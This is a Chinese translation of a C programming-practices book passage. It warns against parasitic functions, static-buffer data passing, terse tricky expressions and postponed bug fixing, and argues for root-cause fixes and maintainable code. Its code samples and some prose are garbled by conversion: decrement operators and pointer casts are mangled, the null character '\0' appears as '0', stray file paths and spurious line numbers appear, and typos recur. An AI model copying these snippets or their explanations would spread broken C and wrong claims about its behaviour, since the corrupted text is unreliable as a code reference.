如果你在一个函式中加上一个strFromUns的呼叫而不检查这两点限制，你就冒着制造错误的风险，这够糟糕了吧。想象一下，如果程序员们一定得照着那两点限制作的话，修正错误跟加入新功能会有多困难呢？每当他们改变了对你函式的呼叫链，进行维护的程序员就得重新核对一下这两个限制。你觉得他们会去检查这些东西吗？很难吧。这些程序员甚至不知道他们应该检查这两个限制。毕竟，他们只是在修正错误，重写程序代码跟加上新功能而已；他们怎么会晓得一个他们可能从来没看过或用过的strFromUns函式有什么必要的使用限制？

类似strFromUns这样的函式会一再造成问题，因为他们的设计方式让程序员们在维护程序时容易产生问题。当然，再程序辕门找出strFromUns类型的错误时，这些错误并不是由strFromUns内部产生的，而是因为strFromUns的使用方式不正确。程序员们并不会重写strFromUns来修正真正的问题所在，而会修正各个不正确使用strFromUns的错误，让strFromUns在程序中维持原样，继续制造新的问题...。

不要透过静态（或整体）变量的内存传递资料。

有用的寄生虫

在公开的缓冲区中传递资料有危险，不过如果你小心而且幸运的话，还是可以避开这样的问题。不过写作依赖其它函式的内部运作机制的寄生函式不只是危险而已，还是不负责任的。如果你改变了宿主函式，你就把寄生函式一起毁了。

我看过最好的寄生函式范例是在一个被广泛推广并移植到不同平台上使用的FORTH程序语言标准实作内，里头到处都是寄生函式。在1970年代晚期跟1980年代早期，FORTH Interest Groups试着透过FORTH-77标准的免费公开实作来提升FORTH语言的使用量。这些FORTH的实作定义了三个标准函式：将内存填写成一个给定的字节值的FILL函式；一个从内存块前端开始复制内存内容的CMOVE函式；还有一个从内存尾端开始复制内存内容的<CMOVE函式。CMOVE跟<CMOVE特别被定义了从头开始跟从尾开始的动作，让程序员们知道在复制重叠的内存块时要用哪个函式。

在这些FORTH的实作版本中，CMOVE是用最佳化的汇编语言写成的，不过为了可移植性，FILL是用FORTH本身写成的。CMOVE的程序代码（在这边翻译成C语言，以便阅读）就如你所期望看到的样子：

/* CMOVE - 将内存从头开始复制。*/

void CMOVE(byte *pbFrom, byte *pbTo, size_t size)

{

while (size- > 0)

*pbTo++ = *pbFrom++;

}

而FILL的写法真是令人吃惊：

/* FILL - 填入一块内存。*/

void FILL(byte *pb, size_t size, byte b)

{

if (size > 0)

{

*pb = b;

CMOVE(pb, pb+1, size-1);

}

}

FILL呼叫CMOVE来办事，除非你事先就知道它是这样做的，不然还真是会让你吃一惊。这样的做法是"灵巧"或"糟糕"，端看你怎么认定。如果你觉得FILL写得很灵巧，想想：FORTH会要你把CMOVE写成一个从头搬移内存的函式，如果你为了效率考量，把CMOVE写成用长整数来搬移内存，而不是用字节来搬，那会发生什么事情？答案是，你当然写出了一个零错误又跑得飞快的CMOVE函式，可是把每个呼叫FILL的函式都给毁了。对我来说，那一点也不灵巧，而是糟糕透了。

让我们假设你知道CMOVE绝对不会被改写，你还在CMOVE前头放了一段警告叙述，告诉其它程序员说FILL会依赖CMOVE的内部运作机制，不要去动到CMOVE。这样的做法只解决了与CMOVE相关的一半问题。

假设你在开发一个简单的四轴工厂机器人的控制程序，每个轴的位置都有256种变化。这样子的机器人有个简单的设计方式，就是用四个字节的内存对映输出入方式，让不同的内存地址控制不同的机械轴。要改变一个机械轴的位置，你直接把0到255间的值写到对应的内存地址就好了。要取得一个机械轴的位置（在让机器轴移到新位置时，这样的信息是有用的），你从对应的内存位置读取一个字节就好了。

如果你要把四个机械轴都归位回(0,0,0,0)的位置，理论上你可以这样写

FILL(pbRobotArm, 4, 0); /* 把机器轴归位。*/

当然，这样的程序不会有效，因为FILL的定义方式－FILL会先写个0给第一个机械轴，然后把垃圾丢给剩下三个轴，让机器人抓狂。为何如此？如果你检查一下FILL的写法，你会发现它用复制之前写入的字节到现在位置的方式来填写内存。可是当FILL读到第一个字节时－它当然期望这字节的值还是0－它会读到第一个机械轴的位置值，由于在写入0到读取这地址的时间内机械轴还没移到0点位置，它读到的值大概也不会是0. 结果FILL把这个可能还玫归零的位置值写入第二个机械轴的控制地址，第三个跟第四个机械轴也同样收到了类似的垃圾结果。

如果FILL的写法要让上头的动作有效，你必须保证它会从它写入的内存中读到它所写入的相同值，可是对内存对映输出入的周边地址来说，这是不能保证成立的事情。

除错检查让程序员诚实

如果CMOVE用了个除错检查来查核它的参数是否有效（就是说，检查资料来源不会在复制到目的地以前被破坏），写出FILL函式的程序员就会在它第一次测试程序时碰到除错检查发出的错误讯息。

这给了这名程序员两种选择：以合理的算法重写FILL，或是将除错检查从CMOVE中拿掉。幸运的，只有少数程序员为了让这样简单的FILL写法能动，而会将CMOVE中的除错检查拿走。

而我的想法是，FILL的做法是错误的，因为它使用了别的函式中的隐藏细节，并滥用的这些它所应该不晓得的东西。FILL不会在随机内存以外的内存地址上正常运作只是小事。最主要的，它示范了违背"简单又无聊"的程序代码写作原则时，你会碰到哪些麻烦。

不要写出寄生函式。

搅拌油漆的老做法

粉刷房子时的一个老做法是拿一把螺丝起子打开油漆盖，然后用螺丝起子搅拌油漆。我也知道这做法；我有一堆染了不同颜色的螺丝起子。为何人们即使知道不应该，还是会用螺丝起子来搅拌油漆？我会告诉你为什么：因为螺丝起子拿起来方便，也能有效搅拌油漆。有些程序设计技巧就像这样，既方便，又保证有用，不过就如同螺丝起子般，并不是被用在这些技巧本来的用途上。

让我们看看底下的程序片段，把比较的结果当成了计算表示式的一部份：

unsigned atou(char *str); /* atoi的无号数版本 */

/* atoi - 将一个ASCII字符串转换成一个整数。 */

int atoi(char *str)

{

/* str的格式是 "[空格][+/-]数字"。 */

while (isspace(*str))

str++;

if (*str == '-')

return (-(int)atou(str + 1));

/* 如果有个正号 '+'，跳过它。 */

return ((int)atou(str + (*str == '+')));

}

这段程序加上了一个测试(*str=='+')的比较到字符串结果的后头，跳过了开头一个选择性的正号。你可以把程序写成这样，因为ANSI标准说任何相对运算的结果都是0或1. 不过有些程序员没有了解到一点，ANSI标准就像税法只是告诉你怎样计算税金而已，它并不是告诉你什么事情可以作而什么事情不能作的法典。你的做法可以相当贴近这两者建议的方式而实际上违背它们的指示。

这例子中的真正问题不在程序中，而是在程序写作者的态度上。如果一名程序员觉得在计算表示式上使用逻辑评估的结果会比较方便，那他或她还会觉得有哪些快捷方式是不可以走的，无论那些快捷方式有多安全？

不要滥用程序语言提供的语法方便性。

标准的改变

当FORTH-83标准推出时，一些FORTH程序员发现他们的程序不会动了。布尔（boolean）结果值本来是在FORTH-77中定义成0跟1的，为了一些不同的理由，在FORTH-83中变成了0跟-1. 结果，这个改变让一些依赖true为1的程序跑不起来。

FORTH程序员们并不孤单。

USCD Pascal在1970年代晚期跟1980年代早期也是相当热门的程序开发工具。如果你在一台微电脑上使用Pascal，你有相当大的机率是用个USCD版本的实作在写东西。有天，USCD Pascal的程序员们收到了一份更新版的编译器，结果许多人发现他们的程序不会动了。编译器的作者们，为了不知道什么理由，把true的值改变了。

谁能保证，在未来的某些标准中，C语言不会有所改变？即使不是C语言改变了，而是C++或你改用的某个衍生语言有了类似的改变呢？

APL并发症

那些不清楚C语言程序怎么转译成机械码的程序员们常会试着用精简的C语法来改善机械码的品质。它们认为，如果你写出最短的C语言叙述，你就应该会得到最短的机械码。在你的C程序大小跟对应的机械码大小间有个关联存在，不过这个关联在你针对一行行的程序分别讨论时，就不成立了。

你还记得 第六章中的uCycleCheckBox函式 <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_206> 吗？

unsigned uCycleCheckBox(unsigned uCur)

{

return ((uCur<=1) ? (uCur?0:1) : (uCur==4)?2:(uCur+1));

}

uCycleCheckBox也许简短，可是就如我已经指出了的，它会产生多得可怕的机械码。又如我们上一节中看到的return叙述，你以为它的机械码会有多长？

return ((int)atou(str + (*str == '+')));

将比较的结果加到一个指针上可能会产生不错机械码，如果你使用一个好的最佳化编译器，而且你的目的平台可以产生0/1的测试结果而不用分岔执行路线的话。如果你的环境不满足这些条件，那你的编译器将在暗中把这个比较式展开成?:运算，并产生有如你写了个底下的叙述般的机械码：

return ((int)atou(str + ((*str == '+') ? 1 : 0)));

由于?:运算只是把if-else叙述隐藏起来，你会得到比你把上头的东西写得成底下那个既明显又无聊而简单的版本要更糟糕的机械码：

if (*str == '+') /* 如果有个正号 '+'，跳过它。 */

str++;

return ((int)atou(str));

当然还有别的方法可以最佳化这个程序。我看过一些程序员用了一个if叙述跟一个||运算子来取代两行的if叙述：

(*str != '+') || str++; /* 如果有个正号 '+'，跳过它。*/

return ((int)atou(str));

这样的程序有效，因为C有着走评估快捷方式的规则，不过在一个if叙述中把程序塞进一行内部保证你会得到更好的机械码；如果你的编译器透过机械码组合的副作用来产生0或1的结果，那使用||可能会得到更糟的机械码结果。

一条简单的准则是用||来处理逻辑表达式，用?:来处理条件表示式，用if来处理条件叙述。遵循这个撙哲可能十分无趣，可是你的程序大概会更有效率而更好维护。

如果你得到了致命的"一行搞定"的疾病（又称作"APL症状"）,让你经常以奇怪的表示式来让C语言的程序代码全塞在一行里头，好好作一次瑜珈运动，深呼吸，然后再重复下面这句话，"有效率的程序代码是可以写成好几行的。有效率的程序代码是可以写成好几行的......。"

简短的C语言程序不保证产生有效率的机械码。

写程序不要轻浮

有些计算机专家没办法用日常英语写出技术文件来。他们不会说"这错误会当死你的系统"，而会说，"这样的软件失误会造成系统失控或让系统停止执行"。这些专家使用像"原则程序检验"跟"失误分类法"这类他们认为是程序员日常用语的词汇。这些专家除了不能帮助读者解决问题，反而让读者掩埋在晦涩难懂的词语中。

技术写作者并不是唯一倾向让事情更混乱的人；有些程序员真的努力写着让人二丈金刚摸不着头脑的程序代码，认为这样只不过是让别人看不懂程序，却能让别人佩服他们的能力。例如，后头这函式怎么动作的？

void *memmove(void *pvTo, void *pvFrom, size_t size)

{

byte *pbTo = (byte a)pvTo;

byte *pbFrom = (byte a)pvFrom;

((pbTo > pbFrom) ? tailmove : headmove)(pbTo, pbFrom,

size);

return (pvTo);

}

如果把程序重写成这样，你会比较了解它在作什么吗？

void *memmove(void *pvTo, void *pvFrom, size_t size)

{

byte *pbTo = (byte *)pvTo;

byte *pbFrom = (byte *)pvFrom;

if (pbTo > pbFrom)

tailmove(pbTo, pbFrom, size);

else

headmove(pbTo, pbFrom, size);

return (pvTo);

}

第一个例子看来不像是用合法的C语法写成的，可是它确实符合C的语法规定，而且有好些机会让编译器产生出比第二个例子更小的执行码。不过有多少程序员能理解第一个程序是怎么运作的？如果他们得维护那个程序，会发生什么事情？就算你把程序写对了，把程序写得很小，你也没帮助别人搞懂你在写什么，说不定你用汇编语言来手动最佳化那个程序还比较好些。

这里有另一个可以搞混许多程序员的例子：

while (expression)

{

int i = 33; /* 宣告区域变量... */

char str[20];

.

. /* 程序... */

.

}

机智问答时间！i在循环中每次都会被初始化，或是只有在循环进入时才会被初始化？你不用想就能答出正确答案吗？如果你不确定，你的公司真是间好公司－即使用C语言写程序的专家也要花一小段时间来想想C语言中初始化变量的规则。

如果我把程序改变一下呢？

while (expression)

{

int i; /* 宣告区域变量... */

char str[20];

i = 33; /* 程序... */

.

.

.

}

谁来维护程序？

在微软公司，一个人写作新程序代码的量直接正比于对开发中产品内部运作的了解程度；了解愈多的人就写愈多新程序代码，而比较少管程序的维护。当然，如果你对项目了解很少，你就得花许多时间来看别人写的程序，修正别人的错误，对现有功能加上少许区域性的改良。这样的安排合理，毕竟你如果不晓得一个项目里的东西是怎么写成的，你怎么能好好在项目中加上一个重要功能？

这样安排的不利面是，有如一般通则，经验老到的程序员写新程序而油菜鸟来维护程序。只有在经验老到的程序员了解他们得负起让维护程序的人能够维护程序的责任时，这样实际的安排才有用。

不要误解我的意思，我不是说你该把C语言的程序写得很幼稚，才能让菜鸟都看得懂你在写什么；那太蠢了。我要说的事，当你可以把程序写得很普通易懂的时候，你就应该避免将程序写得很艰深难懂。如果你把程序写得易于了解，新手也能够维护你的程序，而不会制造新的问题出来，你也不用一直跟人解释程序是怎么动作的了。

你对 i 在循环中每次都被设定成33有任何疑问吗？你团队中的其它程序员会质疑这样的写法吗？当然不会。

程序员们常常忘记他们的程序有两种读者：使用程序的顾客跟维护程序的程序员。会忘记顾客的程序员不多，可是从我经年阅读的程序中判断，我认为程序员常会忘掉第二种读者，那些帮他们维护程序的人。

你应该写出可维护的程序代码的观念并不新奇。程序员们知道他们应该写出这样的程序，可是他们并不完全明白，如果他们用的语言只有C的专家才看得懂，那他们的程序就真的不好维护。毕竟，可维护的程序代码就定义来讲，是能够让维护程序的程序员能够简单了解而且修改而不会制造任何问题的。无论他们应该作什么，这些维护程序员们通常都是项目中的新成员，而不是那些已经待了好一阵子的专家。

写程序时，不要忘了那些维护程序员们。

写出一般程序员看得懂得程序。

不要玩弄小把戏

我们已经看过数种有问题的程序写法，其中有许多第一眼看来很正常。不过如我们所知，在第二眼，或甚至第五眼，你可能都看不出来这些精巧的程序中有什么隐藏的问题存在。如果你发现自己写着连你自己都觉得在玩弄把戏的程序，停下来找寻另一种解决方式吧。如果你的程序让你觉得自己在玩弄把戏，你的直觉正在警告你有些东西不对劲。接受你的直觉，如果你发现自己认为一部份程序代码是很酷的把戏，你就是在对自己说有个算法虽然产生出正确的结果，却没有它本来所应该的写得清楚。也就是说，对你而言，程序中的错误也不会清楚显露出来。

真正精巧的是那些写得很无趣的程序。你会有更少问题，而维护程序员会喜欢你这么做。

快速回顾

? 如果你在处理不属于自己的资料，就不要对它写入，即使只是暂时性的写入。虽然你会认为读取资料应该总是安全的，记住从内存映对外围读取可能会危害到你的硬件装置。
?

? 不要参考释放掉的内存。有太多方式会让对已释放内存的使用带来问题。

? 效率的诱惑会让人想把资料透过整体缓冲区或静态缓冲区传递，不过这种做法充满了危险。如果你写的函式对制造出只对呼叫者有用的数据，就将那些资料传给呼叫者，或者保证你不会意外改变那些资料。

? 不要依赖其它函式的特定实作来写作函式。我们看过的那个FILL子程序呼叫CMOVE的做法完全没保障。这样不合理的事情只适合出现在差劲的程序写法。

? 当你写程序时，用你的程序设计语言写出清楚精确的程序代码，因为别人可能会用到你的程序。避免用让人看不懂的程序写作语法，即使语言标准保证那样的写法可以正常动作。记住，标准是会改变的。

? 逻辑上，C语言中有效率的表示式应该会产生出相似的有效率机械码。不过这条逻辑并不总是成立的。在你将明白易懂的多行C语言程序改写塞到一行中前，确定你会得到更好带来麻烦的机械码。即使你确定要这样做，记住区域性的效率增长很少带来显著的整体改善，而且通常不值得因此把程序搞得让人看不懂。

? 最后，不要用律师写作契约的方式写程序。如果一名普通的程序员不能看懂你的程序，那就是说你写得太复杂了；用简单的语言写法重写吧。

该想想的事

1. C语言程序写作者经常改变传给函式的参数。为何这样的做法不违背输入资料的写入权限？

2. 我已经提过底下那个strFromUns函式的主要缺陷－回想一下，它会将资料透过不受保障的缓冲区传回。除了这主要的问题之外，strDigits的宣告方式有什么特别危险的地方吗？

3. char *strFromUns(unsigned u)

4. {

5. static char *strDigits = "?????"; /* 5个字符 +

6. char *pch; '0' */

7.

8. /* u超出范围？请改用UlongToStr吧... */

9. ASSERT(u <= 65535);

10.

11. /* 将strDigits中的数字从尾到头写入。 */

12. pch = &strDigits[5];

13. ASSERT(*pch == '0');

14. do

15. a--pch = (u % 10) + '0';

16. while ((u /= 10) > 0);

17.

18. return (pch);

}

19. 我在一份期刊上看过某个程序，我注意到一个使用memset函式来将三个区域变量清除为0的函式：

20. void DoSomething(...)

21. {

22. int i;

23. int j;

24. int k;

25.

26. memset(&k, 0, 3*sizeof(int)); /* 将i，j跟k设定为0。 */

27. .

28. .

.

这样的程序在某些编译器下会动作，可是你为何应该避免用这种做法？

29. 你的计算机可能会把操作系统的一部份存放在只读存储器中，为何直接跳过不必要的负担，略过系统接口而直接呼叫只读存储器中的子程序会带来危险？

30. C传统上允许程序员传入比函式期望收到的更少的参数。有些程序员用这个特性来最佳化不需要全部参数的呼叫。例如，

31. .

32. .

33. .

34. DoOperation(opNegAcc); /* 不需要传入val。*/

35. .

36. .

37. .

38.

39. void DoOperation(operation op, int val)

40. {

41. switch (op)

42. {

43. case opNegAcc:

44. accumulator = -accumulator;

45. break;

46.

47. case opAddVal:

48. accumulator += val;

49. break;

50. .

51. .

.

虽然这样的最佳化有用，为何你应该避免这样做？

52. 底下的除错检查是正确的。为何它应该被重新写过？

ASSERT((f & 1) == f);

53. 看看另一个用下面程序代码的memmove版本：

((pbTo > pbFrom) ? tailmove : headmove)(pbTo, pbFrom, size);

你该怎么重写memmove，让它保留上头的效率而更易懂？

54. 底下的汇编程序说明常见的一种函式呼叫简略法。为何你用这种做法是在找麻烦？

55. move r0,#PRINTER

56. call Print+4

57. .

58. .

59. .

60. Print: move r0,#DISPLAY ; (四个字节的指令)

61. .

62. . ; r0 == 装置代号

.

63. 底下的汇编程序码说明另一种偶尔出现的小技俩。这段程序代码跟上一个习题的程序代码一样，依赖Print程序的内部实作方式。你为何应该避免这样写？

64. instClearR0 = 0x36A2 ; clear r0指令的十六进制码

65. .

66. .

67. .

68. call Print+2 ; 输出到PRINTER

69. .

70. .

71. .

72. Print: move r0,#instClearR0 ; (四个字节的指令)

73. comp r0,#0 ; 0==PRINTER，非0 ==DISPLAY

74. .

75. .


調整心態

調整心態

本书从头到尾，我都在谈你能用来侦测跟避免错误的技巧。使用这些技巧不保证你就能够写出零错误程序，就好象一队有熟练的球员也不能保证你赢得球赛。其它必要的关键包括良好习惯与态度的组合。

如果球员们都在抱怨自己为何要练习，你认为这些球员会赢得季赛冠军吗？如果他们经常为了年薪只有一百二十万美元或总是在担心被出卖或炒鱿鱼，他们的表现会如何？这些都跟球技无关，可是跟球员的表现息息相关。

你可以用本书中全部的建议来帮自己消除错误，可是如果你的态度或程序写作习惯上就有问题，你就很难写得出零错误程序来。

在本章中，我将谈到一些写出零错误程序的最常见障碍。这些障碍都很好修正；往往，你需要的只是注意到这些障碍的存在而已。

我的下个把戏可以把错误变不见

你多常在问别人修好错误时听到他们回答，"哦，那错误不见了吧"？我许多年前对我的第一个经理说过同样的话。他问我，找到一个我们正在开发的苹果二号计算机数据库产品中的一个错误找到没，我说，"哦，那错误不见了。"那经理楞了一下，然后把我叫进他的办公室内，我们都坐了下来。

"Steve，你说‘错误不见了’，那是什么意思？"

"喔，你知道嘛，我照着错误报告中的步骤检查过，可是那错误没出现啊。"

我的经理靠回他的椅背。"那你认为这问题怎么了？"

"我不知道"，我说。"我猜问题已经被修好了吧。"

"可是你不知道问题有没有被修好啊，不是吗？"

"我是不知道，我想我不知道"，我必须承认这点。

"那你不觉得你最好把真正发生了的什么问题找出来吗？毕竟，是你在用计算机工作，而不是计算机在帮你工作；计算机不会自己把问题修好的。"

那名经理继续解释了三种错误消失的原因：错误报告不正确，别的程序员修好了问题，或者问题还在，只是问题不明显。他的最后一席话提醒了我，作为一名专业程序写作者，我应该决定出我碰到的那些不见了的问题是哪一种情形，并得据此处理状况。我不应该因为一个问题消失了，就忽略掉它的存在。

在我第一次听到那番建议的CP/M跟苹果二号时代里，那是很宝贵的意见。其实那番建议在之前几十年里就很珍贵了，即使到了现在，那一席话对我来说，还是无价之宝。一直到我成为一名项目主持人，我才了解那番话有多么珍贵。我发现对程序员们来说，他们常会假设测试人员搞错了，或者已经有人把问题修好了。

程序中的问题常常只因为你跟测试人员使用不同版本的程序而消失。如果一个错误在你使用的程序中没出现，你该换用测试人员用的版本看看。如果问题还是没重现，通知你的测试人员重新检查一下。如果错误又出来了，往更早期的版本中找找看，决定该怎么修理这个问题，然后看看为什么问题在现在的版本中会消失。更通常的，一个错误还在，只是被周围的改变给遮盖住了。你得了解为什么问题消失了，你才能采取适当步骤来修正它。

臭虫不会自己"消失"。

太多努力？

当我要求程序员们把旧版的原始码拿出来检查一个已知的问题时，程序员们时而会抱怨；他们抱怨说这样子似乎是在浪费时间。如果你也这么认为，考虑一下，我并不是因为一时兴起才叫你把老程序代码找出来的。叫你把老程序翻出来看是因为问题很可能也出现在旧版的原始码中，而且在旧版本的程序中找起错误来比现在的版本更有效率。

假使你在较早版本的原始码中找到了问题所在，并发现那问题已经确实在目前的程序中修正了。你浪费时间了吗？没有吧。毕竟，将一个消失的问题标示为"修好了"或是"无法重现"后再送回去叫测试人员把它找出来，与前面的做法比较起来，哪一种比较好？测试人员当然不能假设问题修好了－他们只有两个选择，花更多时间试着把问题重现，或是跟你作的一样，当作问题是不能重现的，希望问题真的已经修好了。两种选择都比你自己在较早期的原始码中找出问题来，把问题真正标示为"修好了"来得糟糕。

实时修正问题才能避免更多问题

当我第一次进到Microsoft Excel的小组时，人们的做法是把所有错误的修正都放到项目末尾再处理。并没有一块写着"你在所有功能都写好以前不应该修理任何问题"的铁板钉在小组工作室的墙上，可是我们有赶上时间表跟作出程序功能的压力。同时，很少压力要求我们把问题处理掉。有一次我听到说，"除非臭虫把系统当掉了或者困住了测试小组，不然不要管修正错误的事情。反正在我们完成所有预定功能后，我们还有很多时间可以修正问题。"简单说来，修正错误并不是优先该做的事。

我确定这对现在的微软程序员们听来有些退步，因为没有任何项目再以那样的方式进行了；那样的做法有太多问题，而且最糟糕的是难以预料产品哪时会完成。你怎么估计修理1742种错误需要的时间？当然，不会只有1742种问题等着你－程序员们在修理老问题时还会产生新问题出来。而且（相关的）错误修正可能引出其它测试小组在一开始因为先前的错误而没找到的潜在问题。

这些还不只是唯一出现的问题而已。

先完成程序功能再修正错误，程序员们得让产品开发时间看来比真正需要的还短。公司的重要人物会用内部版本，来产品是不是除了偶尔出现的问题以外都能够正常动作，然后怀疑为何开发人员得花六个月来完成一个接近完成的产品。他们不会发现内存不足的问题，也不会发现他们没用到的功能中出现的错误。他们只知道程序的功能完成了，而且基本上会动了。

在项目开发周期末尾花好几个月来修正问题在团队士气上也是一大打击。程序员们喜欢写程序，而不是修正问题，可是在开发每个产品的末尾，他们得花好几个月，就只是在修理问题，承受沉重的压力，只因为开发部门以外的人都认为产品接近完成了。为何产品赶不上COMDEX，MacWorld Expo这些世界级的展览，或一个地区计算机俱乐部的聚会？

真够糟糕的。

一系列错误百出的产品，从麦金塔版的Excel 1.03开始，到一个取消推出－因为到处横行的臭虫清单太长了而取消－的未公开Windows版产品，强迫微软公司对开发了的产品采取严密的检查。然后得到底下不太令人惊讶的发现：

? 在产品周期中延后修正错误并不会省下时间。事实上，因为修理一个出现一年多的错误比修正一个出现没几天的问题经常更难，你会失去更多时间。

? 立即修理问题控制了错误造成的伤害，因为你预早了解怎么犯下错误的，你愈不可能重蹈覆辙。

? 臭虫是一种抑制速成的懒散程序员出现的一种负回馈现象。如果你不让程序员在修理好所有自己产生的问题前继续写新功能，你就能避免懒散的程序员在程序中到处留下写了一半的功能－他们只会忙着修正错误。如果你让程序员忽略他们的错误，你就丧失了团队纪律。

? 让错误数维持在零附近，你就更容易预测何时能完成产品。不用再猜要花多久才能完成32项功能跟1742种错误修正，你只需要推算32种功能要花多久完成。更棒的，你随时都可以视需要放弃未完成的功能而推出产品。

? 这些发现不只适用于微软的程序开发；他们对任何软件开发团队也同样适用。如果你在发现问题时没有立刻修好它们，把微软公司的负面经验当成你的教训吧。你当然可以自己从错误中学习，不过从别人宝贵的失败经验中获取教训不是更好吗？

不要以后再修理错误；现在就把问题修好吧。

臭虫救星来了！

在Awaken the Giant Within一书中，Anthony Robbins说了一个医生的故事。一名女医生在湍急的河流边听到有人掉进河里的惨叫，她看看四周都没人能帮忙，就自己跳进河里去救人了。当她游过去把人就到岸边，并作了口对口人工呼吸后，那人还是没有呼吸，而且她又听到河里传来两声惊叫。她又跳下去救起那两个人，而当她在抢救那两个人时，她又听到四个人叫着救命，然后她听到八个人叫着救命....不幸的，这医生忙着救人，根本没有时间管到底谁把这些人全丢进河里。

就像这名医生，程序员们有时忙着"治疗"错误而从来没停下来找出到底什么原因造成了错误。我们在第七章中碰到的strFromUns函式就是这种问题的一个例子。strFromUns产生问题是因为它强迫程序员们在静态内存中传递资料。不过当错误发生时，它们都出现在strFromUns呼叫链的下游，而非strFromUns本身。你觉得哪个有问题的函式会被修好？是strFromUns－问题的真正根源－或是呼叫strFromUns把前一个呼叫的结果清掉的那个函式？

同个问题的另一个例子发生在我将一个Windows版Excel的功能移植到麦金塔版上时。（当时这两个版本还是使用分开的原始码。）在我把功能移植过去后，我开始测试程序，并发现一个函式碰到一个意料之外的NULL指针。我检查了程序，却不清楚问题是在呼叫者（传入了个NULL）或在函式中（没处理NULL）。我去找本来的程序员，并解释出问题的状况给他听，他把那段程序加载编辑器后说，"哦，这函式不能接受NULL指针。"然后，我站在那边看着他加上一个在NULL指针出现时立刻离开那函式的修正处理：

if (pb == NULL)

return (FALSE);

我说不应该传入一个NULL指针给这函式，问题应该是在呼叫者，而不是在这函式中，可是他说，"我了解这程序；这样就能修好了。"问题是修好了没错。可是对我来说，这样的解决方式就好象我们只治好一种疾病的症状，并没有除去病因。我回到办公室后，花了十分钟把原始码里所有的NULL指针都找了出来。真正的问题不光是NULL指针，还有两个其它已知的错误。

我追踪到了其它两个错误的根源，然后想着，"等等，这样写不对；如果是这样，这边的函式也会坏掉，所以这地方不应该是这样写的。"我确定你能猜出为什么别的函式会有效运作，因为有人对一个广泛的问题作了区域性的修理。

治疗病因而非症状。

你是个爱管闲事的程序员吗?

"没坏的东西也该修理几下"似乎是某些程序员过度拼命的写照。不管一份程序动作得多少，某些程序员都觉得应该在上头改些什么东西。如果你曾经跟一名会将整个程序重新整理成他或她喜欢的格式的程序员共事过，你就知道我在说什么了。大部分程序员的保守程度得称不上那种"习惯改东改西"程度的人，不过所有程序员似乎都会将程序某种程度上都会把程序改来改去。

清理程序代码的麻烦在于程序员们不种是将他们改进过的程序版本当作新的程序代码处理。有程序员会在检视整个档案时看到底下的程序而想把那个对0的测试改成对'0'的比较；其它人会想把那个测试一起拿掉。

char *strcpy(char *pchTo, char *pchFrom)

{

char *pchStart = pchTo;

while ((*pchTo++ = *pchFrom++) != 0)

{}

return (pchStart);

}

把0改成零字符的问题在于这样从一打成'0'而不是'0'，可是有多少程序员会在这样简单的修改之后去测试strcpy？有个更好的疑问：当你改了如此简单的东西后，你会把程序当作重新写过般的彻底测试吗？如果你不会，你就冒着经由这些不必要的修改产生出错误的风险。

你会认为有些修改不可能会出错，因为程序还是能编译过关啊。举例来说，改个区域变量的名称怎么可能产生错误？喔，当然可能。我曾经追踪一个问题到一个函式中，里头有个叫做hPrint的区域变量，跟一个同名的整体变量互相冲突。因为这函式一直到最近都动作得好好的，我看了一下旧版的原始码，想找出哪里改了什么东西，好确定我的修正方式不会重新产生旧问题。结果我发现整个程序都被清理过了。早期版本中有个叫做hPrint1的区域变量，可是没有hPrint2或hPrint3，让那个'1'看来似乎不是必要的。不知道谁把那个'1'拿掉了，这个人假设hPrint1是以前留下的东西，就把它整理了一下，造成名称上的冲突跟程序执行错误。

避免让你自己产生同样的清理程序错误，在屏幕上贴上一个小讯息：跟我共事的程序员们不是笨蛋。在你以为程序明显写错或没必要时，这样的讯息应该会提醒你要特别小心。如果程序明显可疑，可能有个不明显的好理由在里头。我看过只为了绕过编译器产生执行码错误的问题而写得很滑稽的程序，把那段程序重新清理过就会产生出老问题来。当然，这样的程序应该会有个批注说明为什么这样做，不过并不是所有程序员都会想到那么多。

如果你看到像这样的程序

char chGetNext(void)

{

int ch; /* ch必须是个整数。 */

ch = getchar();

return (chRemapChar(ch));

}

不要把那个明显"不必要"的ch拿掉：

char chGetNext(void)

{

return (chRemapChar(getchar()));

}

如果你拿掉ch，你会在chRemapChar是个将参数评估超过一次的宏时制造出问题来。保留那个"不必要"的区域变量，就能避免掉不必要的错误。

除非对程序的更动对产品的成功很重要，不然不要这么做。

将酷毙了的功能冷冻起来吧

避免把程序代码改来改去只是一条更广泛避免错误的原则的特例：不必要时不要写程序（或改程序）。这似乎是个奇怪的建议，不过你一定会被自己多常问自己"这功能对产品的成功有多重要？"而吓到。

有些功能对产品毫无价值，存在只是为了填补门面；其它功能存在则是因为大公司的顾客要求加上这些东西；剩下的则是因为竞争产品里头也有类似功能，而某杂志的编辑决定把这些功能放在功能列表上。如果你有良好的行销语产品规划队伍，你就不应该再加上这些用不着的功能。不过作为一名程序员，你会碰到这些不必要的功能，或甚至你自己就是这些不必要功能的来源。

你曾经听过程序员说过类似"如果WordSmasher可以怎样怎样，那真够酷的了..."的话吗？问题是，一个功能很炫是因为它能改进产品的特性，还是因为把它作出来在技术上是一种挑战？如果一个功能可以改善产品表现，那等到你程序的下一版再来实作这东西的话，不是更能对这功能作出适当的评估跟规划吗？如果写出一个功能只具有技术上的挑战性，拿掉那功能吧。我并不是在扼杀创意；而是在建议避免不必要的功能跟相关错误的出现。

有时具有技术挑战性的功能是可以改善产品表现；有时则不然。小心选择吧。

不要实作不具策略价值的功能。

天下没有白吃的午餐

"附加"功能是不必要问题的另一个根源。表面上，附加功能似乎值得，因为它们以现成的设计方式几乎不费代价就可以完成。有什么比不用代价的东西更好的？不过附加功能有个大问题存在－对产品的成功与否几乎不重要。当然，不重要的功能是错误的潜在根源。程序员们在程序中加上附加功能，因为他们可以加上那些东西，而不是因为他们应该加上那些东西。毕竟，不加白不加，又不费事，对吧？

这真是荒谬的想法。附加功能也许不费太多事，可是比起在程序中加上了一个功能，得有人替那功能写出使用文件，得有人测试那功能，而且当然也得有人修理所有跟那功能相关的问题。

当我听到一名程序员说一个功能是附加的时，那告诉我说他或她一定没花多少时间想过加上那功能的真正代价有多高。

世界上没有不用代价就能加到程序中的功能。

弹性带来问题

另一个能让你避免错误的策略是从设计中去掉不必要的弹性。从第一章起，你就看我用着这条准则。在第一章中，我用了选择性的编译器警告功能来禁止多余而危险的C语言语法的使用。在第二章中，我把ASSERT定义成一个用来防止这宏被误用在表示式中的叙述.第三章中，即使我可以用NULL参数呼叫free函式，我还是用了个除错检查来捕捉传给FreeMemory的NULL指针。在每一章中，我都列出了一些我去除弹性来防范错误的例子。

